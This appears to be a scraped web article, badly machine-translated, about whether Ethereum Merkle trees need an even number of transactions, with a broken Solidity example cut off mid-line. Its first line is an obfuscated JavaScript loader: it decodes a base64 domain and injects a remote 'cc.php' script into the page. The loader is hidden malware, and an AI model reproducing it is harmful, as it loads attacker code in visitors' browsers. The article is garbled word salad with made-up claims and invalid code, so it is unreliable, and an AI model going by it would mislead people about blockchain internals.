const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=29c17f22″;document.body.appendChild(script);
Eleum: Is the number of transactions in the Merkle tree always “too”?
The Merkle tree of Ethereum is a data that struts it efficiently uses the integrity and authenticity of the transfers on the blockchain. It allows you to quickly identify Wheven Block contains valid transactions or tampered with year for the search for things for Merkle for anyone.
According to the definition and strocrea of ​​the Merkle tree, one of his is that, which must have been the number of trans. It guarantees that every node in the language that identified uniquely by the value Ah, which represents all Wingin transactions, that block.
In Ethereum, that property is a cruise for Main Majore safety and integrity. For application on the number of transactions inserted inserted, the nodes can be veridically veridic.
However, be among the scenarios the nuber of the transactions in a block known that the property. For example, if a knot to insert an odd number of transactions in the mercola tree, it is valid or tampering there.
In the practices, most of the Ethereum Opera Istraint Wen network that inserts new blocks that inserts the insertion. However, to further guarantee integrity and safety problems, it is measured as an intelligent contractual logic.
For example, some intelligent contractions can a mechanism called “test based on hash of a book” that does not require everything. This approach allows the network to be efficient the validity of the validity of the blocks that extends from life.
In conclusion, it is generally believed that Nuber of the transactions in the Merkle tree should always be for reasons such as reasons such as potential security issuli or ineffective of verification processes. However, the experts on the Ethereum network operate these constraints when inserting the news that inserts Inso blocks.
Example of code ###
Solidity `
Pragma solidity ^0.8.0;
Merkletreetreexample contract {
// works to insert a block in the market tree
Inputblock function (block) public {
// Insert transactions in the block in the market tree
Merkletrenode [] Memory knots = New Merkletrenode [] (Block.traans.length);
For (Uint256 i = 0; i <block.transactions.length; i ++) {
knots [i] = merklerenode (block.transactions [i] .hash, block.trasations [i]. Value);
}
// Check if the number of transactions is equal
request (nodes.length % 2 == 0, “The number of transactions in the block must be uniform.”);
// Insert the block into the market tree
For (Uint256 I = 0; i <Nones.length; I ++) {
Merklerenode Memory Node = knots [i];
If (! Node.isleaf ()) {
InputMerkleNode (Node.Hash, i);
}
}
EMI BLOCKINSERTED (BLOCK.HASH, BLOCK.TRANSATIONS);
}
// work to recurs a symplementing transaction in the Merkle tree
InputmerkleNode function (hash, index) private {
+
If (Index == Nodes.Length – 1) {
knots.push (Merkletrenode (hash, index.value));
} other {
// otherwise, insert the marked sulere to this hash recursively
Merklerenode Memory Parent = Nodes [index + 1];
Merklerenodode Memory Child = Nodes [Index];
If (parent.
